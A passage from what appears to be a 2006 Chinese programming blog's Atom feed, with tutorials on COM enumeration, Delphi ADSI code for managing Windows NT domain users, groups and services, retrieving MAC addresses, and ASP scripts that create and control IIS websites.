<DIV>要使用IEnumVARIANT枚举数据，首先必须取得IEnumVARIANT指针。取得IEnumVARIANT指针是通过ICollection的_NewEnum属性。具体操作可以参考上一节关于Invoke的说明。</DIV>
<DIV>在取得了IEnumVARIANT之后，就可以通过IEnumVARIANT顺序读取数组元素了。</DIV>
<DIV>请参考以下代码枚举数据：这段代码是将数组中的元素相加求总和。</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; ULONG Result = 0;</DIV>
<DIV>ULONG res;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; while (1)</DIV>
<DIV>&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hr = pEnum-&gt;Next(1, &var, &res);</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (FAILED(hr))</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto CleanUp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (hr != S_OK || res != 1)</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hr = VariantChangeType(&var, &var, 0, VT_I4);</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (FAILED(hr))</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto CleanUp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Result += var.lVal;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; }</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=203" /> 
	  <id>http://www.openx.cn/default.asp?id=203</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi深度探索-活动目录开发]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-24T13:21:53+08:00</updated>
	  <published>2006-01-24T13:21:53+08:00</published>
		  <summary type="html"><![CDATA[活动目录是 Windows NT 4.0 和 Windows 2000 使用的目录服务。要想使用活动目录服务，需要调用 ADSI( 活动目录服务接口 ) 。 ADSI 是一组以 COM 接口的形式提供目录服务的，程序员可以通过 ADSI 存取四种网络目录结构： WinNT (Microsoft SAM 数据库 ) 、 LDAP ( 轻量目录存取协议 ) 、 NDS (NetWare 目录服务 ) 和 NWCOMPAT (Novell NetWare 3.x) 。 
<P>ADSI 可以使 Windows NT 管理员的工作变得轻松。 ADSI 支持管理员执行一些一般的管理任务，比如添加新用户、管理打印机、安全设定和控制 NT 域。因为 ADSI 使用 COM 接口，任何支持 COM 的编程语言像 Delphi 、 BCB 、 VB 、 VC 等都可以调用 ADSI 。</P>
<P>活动目录运行在 Windows NT 4.0 和 Windows 2000 上。客户端程序可以运行在 Windows 95 、 Windows 98 、 Windows NT 4.0 和 Windows 2000 上。为了使用 ADSI ，必须安装 ADSI COM 接口。 ADSI 2.5 SDK 可以从 Microsoft ADSI 网址 <A href="http://www.microsoft.com/adsi下载">http://www.microsoft.com/adsi 下载 </A>。 SDK 包括文档、在线帮助和很多例子，不过不幸的是这些例子都是针对 VB 和 VC 的，这里我们将演示如何使用 Delphi 调用 ADSI 。 </P>
<P>程序演示 </P>
<P>图 1.111 所示的程序演示了如何调用 WinNT provider 提供的功能。演示程序用来连接到一个域，一旦连接到域，程序将会列出在 PDC 上找到的 NT 的用户和组以及域中的计算机。同时这个程序还演示了如何察看域中计算机上的服务和察看、添加、删除 NT 组中的用户。 </P>
<P>使用 ADSI 控制 Windows NT/2000 </P>
<P>ADSI 可以使我们控制用户、组、计算机、文件共享、打印任务、打印队列和服务等系统资源。要想在 Delphi 中调用 ADSI ，需要引入活动目录类型库，调用菜单 Project | Import Type Library 命令，选择 ActiveDs (Version 1.0) 点确认， Delphi 会生成相应的封装文件。 </P>
<P>绑定 Win NT 目录服务 </P>
<P>连接 Win NT 目录服务就是找到域控制器然后绑定到相应的对象上。绑定可以通过 ADsGetObject 或 ADsOpenObject 函数来实现。 ADsGetObject 函数声明如下： </P>
<P>function ADsGetObject(lpszPathName: PWideChar; const riid: TIID; out obj): HResult; stdcall; external 'activeds.dll'; </P>
<P>第一个参数是对象的路径名，第二个参数是对象的接口标识符，第三个参数用于返回得到的被请求的接口指针。缺省条件下，函数根据当前用户进行安全认证。 </P>
<P>ADsOpenObject 函数在不同的安全认证机制下绑定 ADSI 对象，它主要是通过调用参数返回的用户名和口令来认证的。函数声明如下： </P>
<P>function ADsOpenObject(lpszPathName: PWideChar; lpszUserName: PWideChar; lpszPassword: PWideChar; dwReserved: LongInt; const riid: TIID; out obj): HResult; stdcall; external 'activeds.dll'; </P>
<P>第一个参数意义同上，第二、三个参数是调用者提供的用户名和口令，第四个参数是一个保留的 provider 标识，用来确定绑定的认证方法，第五个参数是请求接口的接口标识符，最后一个参数用来返回请求的接口指针。 </P>
<P>第一个函数使用登录用户缺省的信任级别，而第二个函数允许开发者指定特殊的安全信任机制来绑定 ADSI 对象。下面代码演示了两种不同的绑定方式： </P>
<P>procedure TMainFrm.actOpenWinNTExecute(Sender: TObject); </P>
<P>var </P>
<P>UnknownObject: IUnknown; </P>
<P>DomainPath: WideString; </P>
<P>Domain: IADsContainer; </P>
<P>begin </P>
<P>// 指定域路径 </P>
<P>DomainPath := 'WinNT://' + ADSIDomainName.Text; </P>
<P>// 如果使用用户登录了信息 </P>
<P>if cbUseLogin.Checked then </P>
<P>// 使用用户登录的信息创建域对象 </P>
<P>OleCheck(AdsOpenObject(PWideChar(DomainPath), </P>
<P>PWideChar(ADSIUsername.Text), </P>
<P>PWideChar(ADSIPassword.Text), 0, IID_IADsContainer, </P>
<P>UnknownObject)); </P>
<P>else </P>
<P>OleCheck(ADsGetObject(PWideChar(DomainPath), </P>
<P>IID_IADsContainer, UnknownObject)); </P>
<P>// 设定域对象 </P>
<P>Domain := UnknownObject as IADsContainer; </P>
<P>// 从域中获得信息列表 </P>
<P>GetDomainInformation(Domain); </P>
<P>end; </P>
<P>下面我们需要声明三个变量 ： </P>
<P>第一个是接口变量 , 用来绑定由指定的对象路径返回的函数。 </P>
<P>UnknownObject: IUnknown; </P>
<P>第二个参数是 WideString 类型的变量 ， 用来在绑定函数中产生一个对象路径。 </P>
<P>DomainPath: WideString; </P>
<P>第三是一个 IADsContainer 接口类型变量 ， 用来保存返回的接口变量。 </P>
<P>Domain: IADsContainer; </P>
<P>IADsContainer 变量将被用来从指定的 ADSI 对象中获得全部用户、组和计算机。当然也可以使用 IADsDomain 类型的变量，但它不适合枚举域中的子对象。 </P>
<P>下面指定想要获得的对象路径 ， 如果域名是 "PRISMA" ， 要想获得 ADSI 对象 ， 就需要指定路径为 "WinNT://PRISMA" ： </P>
<P>// 设定域名路径 </P>
<P>DomainPath := 'WinNT://' + ADSIDomainName.Text; </P>
<P>下面代码使用不同的安全认证方式： </P>
<P>// 如果使用登录信息 </P>
<P>if cbUseLogin.Checked then </P>
<P>// 使用登录并创建域对象 </P>
<P>OleCheck(AdsOpenObject(PWideChar(DomainPath), </P>
<P>PWideChar(ADSIUsername.Text), </P>
<P>PWideChar(ADSIPassword.Text), 0, IID_IADsContainer, </P>
<P>UnknownObject)); </P>
<P>else </P>
<P>// 创建域对象 </P>
<P>OleCheck(ADsGetObject(PWideChar(DomainPath), </P>
<P>IID_IADsContainer, UnknownObject)); </P>
<P>然后我们获取 IADsContainer 指针，以便查询域中的子对象： </P>
<P>// 获取域对象 </P>
<P>Domain := UnknownObject as IADsContainer; </P>
<P>最后 ， 把 IADsContainer 接口指针作为参数调用来获得域中的子对象 ： </P>
<P>GetDomainInformation(Domain); </P>
<P>在域中查找 </P>
<P>要想在域中查找子对象 ， 可以使用 GetDomainInformation 过程 ， 代码如下 ： </P>
<P>// 获取域信息 </P>
<P>procedure TMainFrm.GetDomainInformation( </P>
<P>Domain: IADsContainer); </P>
<P>var </P>
<P>Enum: IEnumVariant; </P>
<P>ADsTempObj: OLEVariant; </P>
<P>ADsObj: IADs; </P>
<P>Value: LongWord; </P>
<P>begin </P>
<P>// 清空用户、组和计算机列表 </P>
<P>UserListView.Items.Clear; </P>
<P>GroupListView.Items.Clear; </P>
<P>ComputerListView.Items.Clear; </P>
<P>// 获取枚举对象 </P>
<P>Enum := (Domain._NewEnum) as IEnumVariant; </P>
<P>// 利用枚举对象查找 </P>
<P>while (Enum.Next(1, ADsTempObj, Value) = S_OK) do begin </P>
<P>// 获得临时对象 </P>
<P>ADsObj := IUnknown(ADsTempObj) as IADs; </P>
<P>// 如果是用户对象 </P>
<P>if AdsObj.Class_ = 'User' then </P>
<P>AddUserToList(ADsObj); </P>
<P>// 如果是组对象 </P>
<P>if AdsObj.Class_ = 'Group' then </P>
<P>AddGroupToList(ADsObj); </P>
<P>// 如果是计算机对象 </P>
<P>if AdsObj.Class_ = 'Computer' then </P>
<P>AddComputerToList(ADsObj); </P>
<P>end; </P>
<P>end; </P>
<P>下面是对程序流程的详细说明，首先获得枚举对象，并赋值给 Enum 变量： </P>
<P>Enum := (Domain._NewEnum) as IEnumVariant; </P>
<P>然后利用枚举变量进行查找并把每个子对象赋值给临时的 OLEVariant 对象： </P>
<P>while (Enum.Next(1, ADsTempObj, Value) = S_OK) do begin </P>
<P>OLEVariant 变量赋值给 ADSI 对象 </P>
<P>ADsObj := IUnknown(ADsTempObj) as IADs; </P>
<P>获得 ADSI 对象后，开始检查对象类，根据对象类别把 ADSI 分别处理，并把不同 ADSI 对象的属性添加到各自的列表视图中去： </P>
<P>// 如果是用户对象 </P>
<P>if AdsObj.Class_ = 'User' then </P>
<P>AddUserToList(ADsObj); </P>
<P>// 如果是组对象 </P>
<P>if AdsObj.Class_ = 'Group' then </P>
<P>AddGroupToList(ADsObj); </P>
<P>// 如果是计算机对象 </P>
<P>if AdsObj.Class_ = 'Computer' then AddComputerToList(ADsObj); </P>
<P>运行结果如 图 1.112 所示。 </P>
<P>创建或删除计算机用户 </P>
<P>通过 WinNT provider ，可以创建或删除域中任意一台计算机的用户，要想创建一个域中指定的计算机的用户，需要绑定到指定的计算机上。一旦要绑定到计算机对应的 ADSI 容器对象，就需要调用 Create 方法。容器对象的 Create 方法需要两个参数，一个是要创建的 ADSI 对象的类别，一个是要用来描述 ADSI 对象的名字。调用 Create 方法后会返回新的 ADSI 对象的引用参考，下面代码演示了如何创建一个用户： </P>
<P>var </P>
<P>ComputerObj: IADsContainer; </P>
<P>TempUserObj: IUnknown; </P>
<P>UserObj: IADsUser; </P>
<P>PDCName: WideString; </P>
<P>NewUserName: WideString; </P>
<P>AdsPath: WideString; </P>
<P>begin </P>
<P>// 获取用户信息 </P>
<P>PDCName := InputBox(' 创建新用户 ', ' 请输入域名 : ', ''); </P>
<P>NewUserName := InputBox(' 创建新用户 ', ' 请输入用户名 : ', ''); </P>
<P>// 指定域名路径 </P>
<P>AdsPath := 'WinNT://' + PDCName + ',computer'; </P>
<P>// 创建计算机对象 </P>
<P>OleCheck(AdsGetObject(PWideChar(AdsPath), </P>
<P>IID_IADsContainer, ComputerObj)); </P>
<P>// 创建新用户 </P>
<P>TempUserObj := ComputerObj.Create('user', NewUserName); </P>
<P>UserObj := TempUserObj as IADsUser; </P>
<P>// 设定目录信息 </P>
<P>UserObj.SetInfo; </P>
<P>// 刷新列表 </P>
<P>actOpenWinNT.Execute; </P>
<P>删除用户也非常类似 ， 只不过不需要创建任何的用户对象 ， 可直接调用容器对象 IADsContainer 接口的 Delete 方法 ， Delete 方法需要两个参数 ， 第一个是要删除的对象类别 ， 第二个是对象名称 ， 代码示意如下 ： </P>
<P>var </P>
<P>ComputerObj: IADsContainer; </P>
<P>PDCName: WideString; </P>
<P>UserName: WideString; </P>
<P>AdsPath: WideString; </P>
<P>begin </P>
<P>// 获取用户信息 </P>
<P>PDCName := InputBox(' 删除用户 ', ' 请输入域名 ', ''); </P>
<P>UserName := InputBox(' 删除用户 ', ' 请输入要删除的用户名 : ', ''); </P>
<P>if MessageDlg(' 你是否确信要删除用户 : ' +UserName + ' ?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then </P>
<P>begin </P>
<P>// 指定域名路径 </P>
<P>AdsPath := 'WinNT://' + PDCName + ',computer'; </P>
<P>// 创建计算机对象 </P>
<P>OleCheck(AdsGetObject(PWideChar(AdsPath), </P>
<P>IID_IADsContainer, ComputerObj)); </P>
<P>// 删除用户 </P>
<P>ComputerObj.Delete('user', UserName); </P>
<P>// 刷新列表 </P>
<P>actOpenWinNT.Execute; </P>
<P>end; </P>
<P>end </P>
<P>查看组中的用户 </P>
<P>通过 WinNT provider ，我们还可以执行各种用户组的维护任务，比如从组中添加或删除用户。下面就来演示如何枚举组中的用户并察看用户相关信息。首先让下面代码获得一个 IADsGroup 对象，然后使用 IADsMember 对象来枚举 IADsGroup 对象中所有用户对象，列出不同组中的所有用户： </P>
<P>var </P>
<P>GroupObj: IADsGroup; </P>
<P>Members: IADsMembers; </P>
<P>AdsPath: WideString; </P>
<P>Enum: IEnumVariant; </P>
<P>TempUserObj: OLEVariant; </P>
<P>UserObj: IADsUser; </P>
<P>TempListObj: TListItem; </P>
<P>Value: LongWord; </P>
<P>begin </P>
<P>// 清空列表 </P>
<P>GroupListView.Items.Clear; </P>
<P>// 指定域名路径 </P>
<P>AdsPath := 'WinNT://' + MainFrm.ADSIDomainName.Text +'/' + GroupName; </P>
<P>// 创建组对象 </P>
<P>OLECheck(AdsGetObject(PWideChar(AdsPath), IID_IADsGroup, </P>
<P>GroupObj)); </P>
<P>// 获得 members 对象 </P>
<P>Members := GroupObj.Members; </P>
<P>// 获取枚举对象 </P>
<P>Enum := (Members._NewEnum) as IEnumVariant; </P>
<P>// 使用枚举对象进行查找 </P>
<P>while (Enum.Next(1, TempUserObj, Value) = S_OK) do </P>
<P>try </P>
<P>// 保存临时对象 </P>
<P>UserObj := IUnknown(TempUserObj) as IADsUser; </P>
<P>// 创建新的列表项 </P>
<P>TempListObj := GroupListView.Items.Add; </P>
<P>// 指定属性 </P>
<P>TempListObj.Caption := UserObj.Name; </P>
<P>except </P>
<P>on E:Exception do </P>
<P>end; </P>
<P>IADsGroup 接口是用来管理 NT 组信息的接口，而它的 Members 属性是一个管理组中用户或 ADSI 对象列表的接口。最后使用 IADsUser 接口变量 UserObj 来获得 NT 组中的用户信息。 </P>
<P>程序运行结果如图 1.113 所示。 </P>
<P>控制 NT 服务 </P>
<P>WinNT provider 还可以用来控制 NT 服务、服务器和工作站 ， 下面的代码遍历 NT 服务 ， 并根据相应的计算机添加服务到相应列表中 ： </P>
<P>var </P>
<P>UnknownObject: IUnknown; </P>
<P>Computer: IADsContainer; </P>
<P>ComputerPath: WideString; </P>
<P>Enum: IEnumVariant; </P>
<P>AdsTempObj: OLEVariant; </P>
<P>AdsObj: IADs; </P>
<P>Value: LongWord; </P>
<P>begin </P>
<P>if Item.Caption = '' then </P>
<P>Exit; </P>
<P>// 指定域名路径 </P>
<P>ComputerPath := 'WinNT://' + ADSIDomainName.Text +'/' + Item.Caption; </P>
<P>// 创建计算机对象 </P>
<P>OleCheck(ADsGetObject(PWideChar(ComputerPath), </P>
<P>IID_IADsComputer, UnknownObject)); </P>
<P>// 获得计算机容器接口 </P>
<P>Computer := UnknownObject as IADsContainer; </P>
<P>// 清空服务视图列表 </P>
<P>ServiceListView.Items.Clear; </P>
<P>// 获取枚举对象用于遍历 </P>
<P>Enum := (Computer._NewEnum) as IEnumVariant; </P>
<P>// 用枚举对象进行查找 </P>
<P>while (Enum.Next(1, ADsTempObj, Value) = S_OK) do begin </P>
<P>// 保存临时对象 </P>
<P>ADsObj := IUnknown(ADsTempObj) as IADs; </P>
<P>// 如果对象为服务的话 ，添加到视图中 </P>
<P>if AdsObj.Class_ = 'Service' then </P>
<P>AddServiceToList(ADsObj); </P>
<P>end; </P>
<P>end. </P>
<P>要想获得 NT 服务的信息，需要绑定服务对应的 ADSI 对象， ADSI 提供了 IADsService 对象来维护 NT 服务的信息，下面代码演示了如何绑定 NT 服务，并显示服务名： </P>
<P>var </P>
<P>ServiceObj: IADsService; </P>
<P>AdsPath: WideString; </P>
<P>begin </P>
<P>// 指定域名路径 </P>
<P>AdsPath := 'WinNT://' + ComputerName + '/' + ServiceName; </P>
<P>// 获得服务对象 </P>
<P>OLECheck(ADsGetObject(PWideChar(AdsPath), </P>
<P>IID_IADsService, ServiceObj)); </P>
<P>// 获得服务名 </P>
<P>lblServiceName.Caption := ' 服务名 : ' + ServiceName; </P>
<P>lblDisplayName.Caption := ' 服务显示名称 : ' + </P>
<P>ServiceObj.Get_DisplayName; </P>
<P>要想启动或停止 NT 服务 ， 可以使用 IADsServiceOperations ADSI 对象。同上面一样需要先绑定到 NT 服务上去，而同前面不一样的是，这回不是获得 IADsService ADSI 对象，而是获得 IADsServiceOperations ADSI 对象： </P>
<P>// 创建计算机对象 </P>
<P>OleCheck(AdsGetObject(PWideChar(AdsPath), </P>
<P>IID_IADsServiceOperations, Result)); </P>
<P>然后使用 GetServiceObj 函数来绑定到 IADsServiceOperations ADSI 对象上 ， 并返回 IADsServiceOperations 接口 ： </P>
<P>// 获得服务对象 </P>
<P>ServiceObj := GetServiceObj; </P>
<P>启动服务需要调用 IADsServiceOperations 接口的 Start 方法： </P>
<P>// 启动服务 ， Get_Status ＝ 1 表明服务正处于停止状态 </P>
<P>if ServiceObj.Get_Status = 1 then </P>
<P>ServiceObj.Start; </P>
<P>要停止服务需要调用 IADsServiceOperations ADSI 对象的 Stop 方法 , 运行结果如图 1.114 所示。 </P>
<P>结论 </P>
<P>毫无疑问，通过 ADSI 目录服务，调用 WinNT provider 可以更容易实现 NT 的管理功能，但它也是一个庞大的系统，光 Windows 的活动目录编程参考就有上千页，说明我们必须花费大量时间才能真正掌握它的精髓。<BR></P></TD>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=202" /> 
	  <id>http://www.openx.cn/default.asp?id=202</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[获得远程或本地机器的网卡的MAC]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-24T11:32:16+08:00</updated>
	  <published>2006-01-24T11:32:16+08:00</published>
		  <summary type="html"><![CDATA[<P>// ====================================================================== <BR>//返回值是主机AServerName的MAC地址<BR>//AServerName参数的格式为'\\ServerName' 或者 'ServerName' <BR>//参数ServerName为空时返回本机的MAC地址 <BR>//MAC地址以'XX-XX-XX-XX-XX-XX'的格式返回<BR>// ====================================================================== </P>
<P>function GetMacAddress(const AServerName : string) : string; <BR>type <BR>TNetTransportEnum = function(pszServer : PWideChar; <BR>Level : DWORD; <BR>var pbBuffer : pointer; <BR>PrefMaxLen : LongInt; <BR>var EntriesRead : DWORD; <BR>var TotalEntries : DWORD; <BR>var ResumeHandle : DWORD) : DWORD; stdcall; </P>
<P>TNetApiBufferFree = function(Buffer : pointer) : DWORD; stdcall; </P>
<P>PTransportInfo = ^TTransportInfo; <BR>TTransportInfo = record <BR>quality_of_service : DWORD; <BR>number_of_vcs : DWORD; <BR>transport_name : PWChar; <BR>transport_address : PWChar; <BR>wan_ish : boolean; <BR>end; </P>
<P>var E,ResumeHandle, <BR>EntriesRead, <BR>TotalEntries : DWORD; <BR>FLibHandle : THandle; <BR>sMachineName, <BR>sMacAddr, <BR>Retvar : string; <BR>pBuffer : pointer; <BR>pInfo : PTransportInfo; <BR>FNetTransportEnum : TNetTransportEnum; <BR>FNetApiBufferFree : TNetApiBufferFree; <BR>pszServer : array[0..128] of WideChar; <BR>i,ii,iIdx : integer; <BR>begin <BR>sMachineName := trim(AServerName); <BR>Retvar := '00-00-00-00-00-00'; </P>
<P>// Add leading \\ if missing <BR>if (sMachineName &lt;&gt; '') and (length(sMachineName) &gt;= 2) then begin <BR>if copy(sMachineName,1,2) &lt;&gt; '\\' then <BR>sMachineName := '\\' + sMachineName <BR>end; </P>
<P>// Setup and load from DLL <BR>pBuffer := nil; <BR>ResumeHandle := 0; <BR>FLibHandle := LoadLibrary('NETAPI32.DLL'); </P>
<P>// Execute the external function <BR>if FLibHandle &lt;&gt; 0 then begin <BR>@FNetTransportEnum := GetProcAddress(FLibHandle,'NetWkstaTransportEnum'); <BR>@FNetApiBufferFree := GetProcAddress(FLibHandle,'NetApiBufferFree'); <BR>E := FNetTransportEnum(StringToWideChar(sMachineName,pszServer,129),0, <BR>pBuffer,-1,EntriesRead,TotalEntries,Resumehandle); </P>
<P>if E = 0 then begin <BR>pInfo := pBuffer; </P>
<P>// Enumerate all protocols - look for TCPIP <BR>for i := 1 to EntriesRead do begin <BR>if pos('TCPIP',UpperCase(pInfo^.transport_name)) &lt;&gt; 0 then begin <BR>// Got It - now format result 'xx-xx-xx-xx-xx-xx' <BR>iIdx := 1; <BR>sMacAddr := pInfo^.transport_address; </P>
<P>for ii := 1 to 12 do begin <BR>Retvar[iIdx] := sMacAddr[ii]; <BR>inc(iIdx); <BR>if iIdx in [3,6,9,12,15] then inc(iIdx); <BR>end; <BR>end; </P>
<P>inc(pInfo); <BR>end; <BR>if pBuffer &lt;&gt; nil then FNetApiBufferFree(pBuffer); <BR>end; </P>
<P>try <BR>FreeLibrary(FLibHandle); <BR>except <BR>// 错误处理<BR>end;<BR>end;<BR>result:=Retvar;<BR>end;<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=201" /> 
	  <id>http://www.openx.cn/default.asp?id=201</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[控制虚拟主机的adsi]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-20T16:06:06+08:00</updated>
	  <published>2006-01-20T16:06:06+08:00</published>
		  <summary type="html"><![CDATA[<STRONG>使用ASP在IIS创建WEB站点的函数<BR>程序代码： <BR></STRONG>
<DIV class=code>'=============================================================<BR>'函数介绍：创建WebSite<BR>'本函数使用ADSI，需要Administrators组用户权限<BR>'函数名称：CreateWebSite(Computer,IPAddr,PortNum,HostName,WebSiteDirectory,LogDirectory,WebSiteInfo,GuestUserName,GuestUserPass,StartOrStop)<BR>'用法：CreateWebSite 计算机名(一搬为LocalHost或127.0.0.1),站点IP地址,端口号,主机名,站点根目录,,LOG文件的目录站点说明,网站访问时所使用的帐号,网站访问时所用帐号的口令,是否启动站点<BR>'例：CreateWebSite "LocalHost","127.0.0.123","80","www.test.net","E:\UserData\UserNum001","E:\UserData\UserNum001\LogFiles","CnKnow.Com","IUSR_Num001_test.net","abc888",True<BR>'=============================================================<BR>Function CreateWebSite(Computer,IPAddr,PortNum,HostName,WebSiteDirectory,LogDirectory,WebSiteInfo,GuestUserName,GuestUserPass,StartOrStop)<BR>Dim w3svc, WebServer, NewWebServer, NewDir<BR>Dim Bindings, BindingString, NewBindings, SiteNum, SiteObj, bDone<BR>On Error Resume Next<BR>Err.Clear<BR>'检测是否能够加载W3SVC服务（即WEB服务）<BR>Set w3svc = GetObject("IIS://" & Computer & "/w3svc")<BR>If Err.Number &lt;&gt; 0 Then '显示错误提示<BR>&nbsp;response.write "无法打开: "&"IIS://" & Computer & "/w3svc"<BR>&nbsp;response.end<BR>End If<BR>'检测是否有设定相同IP地址、端口及主机名的站点存在<BR>BindingString = IPAddr & ":" & PortNum & ":" & HostName<BR>For Each WebServer in w3svc<BR>&nbsp;If WebServer.Class = "IIsWebServer" Then<BR>&nbsp;Bindings = WebServer.ServerBindings<BR>&nbsp;If BindingString = Bindings(0) Then<BR>&nbsp;response.write "IP地址冲突:" & IPAddr & ",请检测IP地址！."<BR>&nbsp;Exit Function<BR>&nbsp;End If<BR>&nbsp;End If<BR>Next<BR><BR>'确定一个不存在的站点编号做为新建站点编号，系统默认WebSite站点编号为1，因此从2开始<BR>SiteNum=2<BR>bDone = False<BR>While (Not bDone)<BR>Err.Clear<BR>Set SiteObj = GetObject("IIS://"&Computer&"/w3svc/"&SiteNum) '加载指定站点<BR>If (Err.Number = 0) Then<BR>&nbsp;'response.write " Step_1站点"&SiteNum&"存在"<BR>&nbsp;SiteNum = SiteNum + 1<BR>Else<BR>&nbsp;'response.write " Step_1站点"&SiteNum&"不存在"<BR>&nbsp;Err.Clear<BR>&nbsp;Set NewWebServer = w3svc.Create("IIsWebServer",SiteNum) '创建指定站点<BR>&nbsp;If (Err.Number &lt;&gt; 0) Then<BR>&nbsp;'response.write " Step_2站点"&SiteNum&"创建失败"<BR>&nbsp;SiteNum = SiteNum + 1<BR>&nbsp;Else<BR>&nbsp;'response.write " Step_2站点"&SiteNum&"创建成功"<BR>&nbsp;bDone = True<BR>&nbsp;End If<BR>End If<BR>If (SiteNum &gt; 50) Then '服务器最大创建站点数<BR>&nbsp;response.write "超出服务器最大创建站点数，正在创建的站点的序号为： "&SiteNum&"."<BR>&nbsp;response.end<BR>End If<BR>Wend<BR><BR>'进行站点基本配置<BR>NewBindings = Array(0)<BR>NewBindings(0) = BindingString<BR>NewWebServer.ServerBindings = NewBindings<BR>NewWebServer.ServerComment= WebSiteInfo<BR>NewWebServer.AnonymousUserName= GuestUserName<BR>NewWebServer.AnonymousUserPass= GuestUserPass<BR>NewWebServer.KeyType = "IIsWebServer"<BR>NewWebServer.FrontPageWeb = True<BR>NewWebServer.EnableDefaultDoc = True<BR>NewWebServer.DefaultDoc = "Default.htm, Default.asp, Index.htm, Index.asp"<BR>NewWebServer.LogFileDirectory= LogDirectory<BR>NewWebServer.SetInfo<BR>Set NewDir = NewWebServer.Create("IIsWebVirtualDir", "ROOT")<BR>NewDir.Path = WebSiteDirectory<BR>NewDir.AccessRead = true<BR>NewDir.AppFriendlyName = "应用程序" & WebSiteInfo<BR>NewDir.AppCreate True<BR>NewDir.AccessScript = True<BR>Err.Clear<BR>NewDir.SetInfo<BR>If (Err.Number &lt;&gt; 0) Then<BR>&nbsp;response.write "主目录创建时出错."<BR>&nbsp;response.end<BR>End If<BR>If StartOrStop = True Then<BR>&nbsp;Err.Clear<BR>&nbsp;Set NewWebServer = GetObject("IIS://" & Computer & "/w3svc/" & SiteNum)<BR>&nbsp;NewWebServer.Start<BR>&nbsp;If Err.Number &lt;&gt; 0 Then<BR>&nbsp;response.write "启动站点时出错!"<BR>&nbsp;response.end<BR>&nbsp;Err.Clear<BR>&nbsp;End If<BR>End If<BR>response.write "站点创建成功，站点编号为："& SiteNum &" ，域名为："& HostName<BR>End Function<BR></DIV><B><BR>使用ASP设置指定站点CPU最大使用程度<BR>程序代码：</B> <BR>
<DIV class=code>'=================================================<BR>'函数介绍：设置指定站点CPU最大使用程度<BR>'本函数使用ADSI，需要Administrators组用户权限<BR>'函数名称：SetCPULimitVar (Computer,SiteNum,LimitVar)<BR>'用法：SetCPULimitVar 计算机名，站点编号，最大限制值（100=1%，1000=10%）<BR>'例：SetCPULimitVar "LocalHost","2","2000"<BR>'=================================================<BR>Function SetCPULimitVar(Computer,SiteNum,LimitVar)<BR>Set MyObj001 = GetObject("IIS://"&Computer&"/W3SVC/"&SiteNum)<BR>'设置启用CPU限制<BR>MyObj001.CpuLimitsEnabled = True<BR>'设置限制使用额度值<BR>MyObj001.CpuLimitLogEvent=LimitVar<BR>MyObj001.setinfo<BR>Set MyObj001=Nothing<BR>End Function</DIV><BR><B>使用ASP启动/停止指定WEB站点<BR><BR>程序代码： </B><BR>
<DIV class=code>'=============================================================<BR>'函数介绍：使用ASP启动/停止指定WEB站点<BR>'本函数使用ADSI，需要Administrators组用户权限<BR>'函数名称：AdminWebSite(Computer,WebSiteNum,DoWhat)<BR>'用法：AdminWebSite(计算机名称,站点编号,启动/停止)<BR>'例：启动127.0.0.1计算机上站点编号为1的站点<BR>'AdminWebSite "127.0.0.1","1",1<BR>'例：停止127.0.0.1计算机上站点编号为1的站点<BR>'AdminWebSite "127.0.0.1","1",0<BR>'=============================================================<BR>Function AdminWebSite(Computer,WebSiteNum,DoWhat)<BR>On Error Resume Next<BR>Set objServer = GetObject("IIS://" & Computer & "/W3SVC/" & WebSiteNum)<BR>If Err.Number &lt;&gt; 0 Then<BR>&nbsp;Response.Write Now & ". 错误码: " & Hex(Err)& " - " & "无法开启指定站点&lt;br&gt;"<BR>End If<BR>if Dowhat=1 then<BR>'使用Start启动站点<BR>&nbsp;objServer.Start<BR>&nbsp;If Err.Number &lt;&gt; 0 Then<BR>&nbsp;Response.Write 